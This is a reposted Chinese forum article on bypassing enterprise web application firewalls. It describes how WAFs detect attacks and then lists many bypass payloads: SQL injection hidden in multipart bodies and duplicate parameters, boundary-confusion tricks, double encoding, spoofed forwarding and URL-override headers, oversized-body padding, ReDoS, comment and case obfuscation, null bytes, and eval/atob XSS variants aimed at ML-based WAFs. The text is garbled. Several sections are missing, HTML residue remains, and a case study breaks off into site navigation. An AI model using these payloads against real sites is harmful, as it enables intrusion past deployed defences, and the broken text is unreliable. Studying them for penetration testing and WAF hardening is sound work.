【转载】企业级WAF绕过技术深度研究

杠氯 · 4 小时前

本文转载来源公众号：Zacarx随笔

前言

Web应用防火墙（WAF）作为现代企业Web安全架构的核心组件，在防御SQL注入、XSS、RCE等常见攻击中扮演着关键角色。然而,随着攻防技术的不断演进,针对企业级WAF的绕过技术也在持续发展。本文基于最新的学术研究和实战案例,系统性地梳理了当前主流WAF产品的绕过技术,旨在为安全研究人员和渗透测试工程师提供技术参考。

一、WAF工作原理与检测机制

1.1 WAF架构与部署模式

企业级WAF通常采用以下三种部署模式:

网络型WAF(Network-based)

部署在网络边界,以硬件设备或专用服务器形式存在
保护整个网络内的所有Web应用
典型代表:F5 BIG-IP ASM、Imperva SecureSphere

主机型WAF(Host-based)

部署在Web服务器上,以软件形式运行
仅保护部署节点上的应用
典型代表:ModSecurity、NAXSI

云托管WAF(Cloud-hosted)

作为SaaS服务提供,由第三方管理基础设施
保护任意位置的Web应用
典型代表:Cloudflare、AWS WAF、Azure WAF、Akamai

1.2 核心检测机制

现代WAF采用多层检测机制:

1.2.1 基于签名的检测(Signature-Based Detection)

工作原理:

维护已知攻击模式数据库(字符串或正则表达式)
将请求元素(URL、Headers、Body)与签名库匹配
典型规则集:OWASP CRS(Core Rule Set)

优势:

对已知攻击检测准确率高
处理开销相对较低
误报率低

典型规则示例:

if url_parameter "user_input" contains "UNION SELECT"
then block

复制代码

1.2.2 基于规则的过滤(Rule-Based Filtering)

负向安全模型(Blacklisting):

定义禁止的内容
默认允许所有流量,仅阻止匹配黑名单的请求
易于初始部署,但容易被绕过

正向安全模型(Whitelisting):

定义允许的内容
默认拒绝所有流量,仅允许符合白名单的请求
安全性高,但配置复杂,维护成本高

1.2.3 异常检测(Anomaly Detection)

工作原理:

学习应用正常流量基线
标记偏离基线的异常请求

优势:

可检测0day攻击
自适应应用特性

1.2.4 基于AI/ML的检测

工作原理:

使用机器学习模型(随机森林、SVM、神经网络)
基于海量流量数据训练分类模型
实时对新请求进行分类

优势:

高准确率检测复杂和0day攻击
可持续学习适应

二、主流企业级WAF产品解析

2.1 国外主流WAF产品


WAF产品	厂商	部署类型	核心规则集	市占率

Cloudflare WAF	Cloudflare	Cloud	Managed + OWASP CRS	高
AWS WAF	Amazon	Cloud	AWS Managed Rules + OWASP CRS	高
Azure WAF	Microsoft	Cloud	DRS 2.1 (基于 CRS 3.2)	高
Google Cloud Armor	Google	Cloud	ModSecurity + 自定义规则	中
F5 BIG-IP ASM	F5 Networks	Network/Virtual	Rapid Deployment Policy	高
ModSecurity	Trustwave/OWASP	Host/Network	OWASP CRS	高
Imperva WAF	Imperva	Cloud/Network/Host	ThreatRadar + 自定义	中
Akamai Kona	Akamai	Cloud	Adaptive Security Engine	高
Fortinet FortiWeb	Fortinet	Network/Virtual	Extended Protection	中

2.2 OWASP CRS (Core Rule Set)

OWASP CRS是WAF领域最广泛使用的开源规则集,被大量商业WAF采用作为基础规则。

覆盖的攻击类型:

SQL注入(SQLi)
跨站脚本(XSS)
本地文件包含(LFI)
远程文件包含(RFI)
远程代码执行(RCE)
PHP注入
Session固定
HTTP协议违规
恶意扫描器检测

版本演进:

CRS 2.x(已停止维护)
CRS 3.0~3.2(广泛使用)
CRS 3.3+(当前版本)
CRS 4.0(Next Generation)

偏执等级(Paranoia Level):

PL1:基础防护,误报率低
PL2:增强防护
PL3:严格防护
PL4:最大防护,误报率高

三、解析差异:WAF绕过的核心原理

3.1 HTTP解析差异(Parser Differential)

核心概念:WAF与后端应用对同一HTTP请求的理解不一致,是绕过的根本原因。

产生原因:

WAF与应用使用不同的HTTP解析库
RFC标准存在模糊性和歧义
实现细节差异
性能与安全的权衡

典型场景:

场景1:Content-Type解析差异

WAF可能仅检查application/x-www-form-urlencoded,而后端同时接受multipart/form-data:

POST /api/search HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="query"
' UNION SELECT password FROM users--
------Boundary--

复制代码

90%以上的网站可互换接受这两种Content-Type,但WAF检测规则可能不同步。

为了方便大家理解，大家可以感受下两者差异：

场景2:参数处理差异

GET /search?q=safe&q=malicious

复制代码

不同技术栈对重复参数的处理:


技术栈	处理方式

PHP	使用最后一个值
ASP.NET	用逗号连接所有值
Java Servlet	返回数组
Python Flask	使用第一个值(默认)
Node.js Express	返回数组或字符串

WAF如果仅检查第一个参数而后端使用最后一个,攻击即可绕过。

3.2 归一化不一致(Normalization Inconsistency)

核心问题:WAF在应用检测规则前必须对请求进行归一化(解码、规范化路径等),如果归一化逻辑与后端不一致,会产生绕过。

常见不一致:

URL编码层级:

%253Cscript%253E (双重URL编码)
↓ WAF解码一次
%3Cscript%3E
↓ 后端再解码
"}','$.a')--

复制代码

攻击流程:

数据库支持JSON函数(PostgreSQL、MySQL、SQLite、MSSQL)
WAF规则未涵盖JSON语法
恶意SQL隐藏在JSON函数调用中
绕过检测,攻击成功执行

4.4.2 Multipart/Form-Data解析差异

根据WAFFLED研究,multipart content-type存在大量解析差异攻击面。

Boundary参数延续:

RFC 2231允许通过多个参数表示单个参数值:

Content-Type: multipart/form-data;
boundary=fake-boundary;
boundary*0=real-;
boundary*1=boundary

复制代码

WAF取第一个boundary(fake-boundary), 后端拼接为real-boundary,导致解析差异。

完整攻击载荷:

POST /upload HTTP/1.1
Content-Type: multipart/form-data;
boundary=fake-boundary;
boundary*0=real-;
boundary*1=boundary
--fake-boundary
Content-Disposition: form-data; name="field1"
safe_value
--fake-boundary--
--real-boundary
Content-Disposition: form-data; name="id"
--real-boundary--

复制代码

WAF检查fake-boundary之间的内容(安全), 后端解析real-boundary之间的内容(恶意)。

其他Multipart绕过类别:

Boundary分隔符操作:

\r\n--boundary (移除\r\n)

复制代码

Content-Disposition破坏:

content-disposition: form-da\x00a; name="file"

复制代码

畸形头部注入:

conten\x00-extra: something
Content-Type: text/plain\x00

复制代码

字符集变更:

Content-Type: text/plain; charset=\x00UTF-8

复制代码

换行符移除:

Content-Type: multipart/form-data; boundary=test\r\n\r\n
(紧接body,无空行)

复制代码

4.4.3 XML外部实体注入绕过

Extra Field Addition:

<?xml version="1.0"?>
<root>
<field1>value1</field1>
<field2 attr="bypass">XXE_PAYLOAD</field2>
</root>

复制代码

DOCTYPE Closure Confusion:

<!DOCTYPE root [...]>
<field1>XXE</field1>]
</root>

复制代码

Schema操作:

<genre:schema>
<field1>XXE_PAYLOAD</field1>invalid_char
</genre:schema>

复制代码

Content-Type头移除:

POST /api HTTP/1.1
Host: target.com
(无Content-Type头,或修改为其他值)
<?xml>...</xml>

复制代码

4.5 协议层绕过策略

4.5.1 HTTP方法利用

WAF规则可能仅覆盖GET/POST,使用其他方法绕过:

HEAD /api?id=' OR 1=1-- HTTP/1.1
OPTIONS /api?id=' OR 1=1-- HTTP/1.1
PUT /api?id=' OR 1=1-- HTTP/1.1
DELETE /api?id=' OR 1=1-- HTTP/1.1
PATCH /api?id=' OR 1=1-- HTTP/1.1
TRACE /api?id=' OR 1=1-- HTTP/1.1

复制代码

自定义HTTP方法:

CUSTOM /api?id=' OR 1=1-- HTTP/1.1

复制代码

4.5.2 头部操纵

X-Forwarded-For欺骗:

X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1
CF-Connecting-IP: 127.0.0.1

复制代码

WAF信任这些头部,认为请求来自内网,放行。

HTTP方法覆盖:

POST /api HTTP/1.1
X-HTTP-Method-Override: DELETE
X-Method-Override: PUT

复制代码

URL重写:

X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Override-URL: /admin

复制代码

绕过路径基础的访问控制。

国家代码欺骗:

CF-IPCountry: US
CloudFront-Viewer-Country: US
X-GeoIP-CC: US

复制代码

4.5.3 HTTP版本差异

HTTP/1.0 vs HTTP/1.1:

HTTP/1.0缺少Host头部必选要求
HTTP/1.1更严格的规范解析

HTTP/2特性利用:

头部压缩(HPACK)
服务器推送
请求优先级

老旧WAF可能不完全支持HTTP/2检测。

4.5.4 WebSocket协议绕过

WebSocket升级后,通信切换到ws://或wss://协议,传统HTTP WAF规则不再适用:

GET /chat HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Version: 13

复制代码

升级成功后,通过WebSocket发送攻击载荷:

ws.send("' OR 1=1--")

复制代码

4.6 资源耗尽与时序攻击

4.6.1 超大载荷绕过

原理:WAF通常有请求体检测上限,超过限制的部分不被检查。

Cloudflare限制:

131,072字节(128 KiB)限制
超过此大小的请求体不被完整检查

攻击载荷:

POST /api HTTP/1.1
Content-Length: 131073
[130000字节垃圾数据]
[剩余数据]

复制代码

其他WAF限制:

AWS WAF: 8KB请求体检测限制
Azure WAF: 128KB限制
F5 BIG-IP: 可配置,默认10MB

工具:Burp Suite的"WAF Bypadd"扩展可自动添加填充数据。

4.6.2 正则表达式拒绝服务(ReDoS)

原理:精心构造的输入触发WAF正则表达式引擎的灾难性回溯。

易受攻击的正则:

^(a+)+$
^([a-zA-Z]+)*$
(a|a)*
(a|ab)*

复制代码

攻击输入:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

复制代码

引擎尝试所有可能的匹配组合,CPU占用暴增,导致:

WAF响应超时
WAF降级为Fail-Open(允许所有流量)
WAF崩溃

4.6.3 速率限制规避

慢速攻击:

保持在速率限制阈值以下
分散多个IP地址
使用代理链/VPN

时序绕过:如WAF有单请求处理超时(如5秒),构造复杂请求使处理超时,请求被放行。

4.7 逻辑缺陷与规则绕过

4.7.1 大小写敏感性

错误假设:WAF规则假设大小写敏感,攻击者利用大小写变换:

SeLeCt * FrOm users
UNION SELECT
UnIoN SeLeCt

复制代码

[/code]
<h4>4.7.2 注释插入</h4>
<p><strong>SQL注释:</strong></p>
[code]SEL/**/ECT
SE/*comment*/LECT
UNION/**/SELECT
UNI/*bypass*/ON/*waf*/SELECT

复制代码

HTML注释:

ipt>

复制代码

4.7.3 空字节注入

路径截断:

/path/to/file%00.jpg

复制代码

WAF检查扩展名为.jpg(安全), 后端C函数在%00处截断,实际读取/path/to/file。

字符串终止:

admin'%00 OR 1=1--

复制代码

4.7.4 字符集替代

IP地址表示:

127.0.0.1 (十进制)
0177.0.0.1 (八进制)
0x7F000001 (十六进制)
2130706433 (DWORD)

复制代码

科学计数法:

WHERE id = 1e0 (等同于 1)

复制代码

4.7.5 正则绕过技巧

未锚定的正则:

/union\sselect/ (缺少^和$)

复制代码

绕过:

aaaunion selectbbb (匹配,但无效SQL)

复制代码

更好的正则应为:

/\bunion\s+select\b/i

复制代码

嵌套标签绕过:

<scr

复制代码

WAF规则替换[/code]

4.7.6 上下文混淆

SQL in JSON:

{"query": "' OR 1=1--"}

复制代码

WAF可能仅按JSON解析,未识别SQL注入上下文。

JavaScript in HTML属性:

<img src=x onerror="eval(atob('YWxlcnQoMSk='))">

复制代码

Base64编码绕过XSS规则。

4.8 针对AI/ML-based WAF的对抗技术

4.8.1 逃避攻击(Evasion Attacks)

原理:对恶意载荷进行微小扰动,使其跨越ML模型的决策边界,被误分类为良性。

梯度基础方法(白盒):

FGSM (Fast Gradient Sign Method)
PGD (Projected Gradient Descent)
C&W Attack

查询基础方法(黑盒):

通过大量查询学习模型行为
迭代调整载荷直到绕过

实例:

原始阻断:

eval(atob('YWxlcnQoMSk='))

复制代码

扰动后绕过:

new Function('a'+'lert(1)')()

复制代码

4.8.2 模型推断攻击

目标:通过观察WAF响应,推断ML模型的内部逻辑。

方法:

发送大量不同载荷
记录阻断/允许响应
训练代理模型模拟WAF行为
针对代理模型设计绕过
在真实WAF测试

防御难点:

高查询成本
需要精确模拟
可能被速率限制阻止

4.8.3 对抗样本生成

示例(open-appsec):

基础载荷:

alert(1)

复制代码

被阻断后,快速变换:

confirm(1) // 立即绕过

复制代码

继续适应:

prompt(1)
new Function('alert(1)')()

复制代码

ML模型需要重新训练才能覆盖新变种,但黑客可持续生成新变种。

五、真实案例分析

案例1:Cloudflare WAF - Onbeforetoggle事件绕过

目标: 媒体网站,CloudFront保护

发现过程:

探测HTML标签,发现

账号		自动登录	找回密码
密码			立即注册

【转载】企业级WAF绕过技术深度研究

前言

一、WAF工作原理与检测机制

1.1 WAF架构与部署模式

1.2 核心检测机制

1.2.1 基于签名的检测(Signature-Based Detection)

1.2.2 基于规则的过滤(Rule-Based Filtering)

1.2.3 异常检测(Anomaly Detection)

1.2.4 基于AI/ML的检测

二、主流企业级WAF产品解析

2.1 国外主流WAF产品

2.2 OWASP CRS (Core Rule Set)

三、解析差异:WAF绕过的核心原理

3.1 HTTP解析差异(Parser Differential)

场景1:Content-Type解析差异

场景2:参数处理差异

3.2 归一化不一致(Normalization Inconsistency)

4.4.2 Multipart/Form-Data解析差异

4.4.3 XML外部实体注入绕过

4.5 协议层绕过策略

4.5.1 HTTP方法利用

4.5.2 头部操纵

4.5.3 HTTP版本差异

4.5.4 WebSocket协议绕过

4.6 资源耗尽与时序攻击

4.6.1 超大载荷绕过

4.6.2 正则表达式拒绝服务(ReDoS)

4.6.3 速率限制规避

4.7 逻辑缺陷与规则绕过

4.7.1 大小写敏感性

4.7.3 空字节注入

4.7.4 字符集替代

4.7.5 正则绕过技巧

4.7.6 上下文混淆

4.8 针对AI/ML-based WAF的对抗技术

4.8.1 逃避攻击(Evasion Attacks)

4.8.2 模型推断攻击

4.8.3 对抗样本生成

五、真实案例分析

案例1:Cloudflare WAF - Onbeforetoggle事件绕过

相关推荐

浏览过的版块

签约作者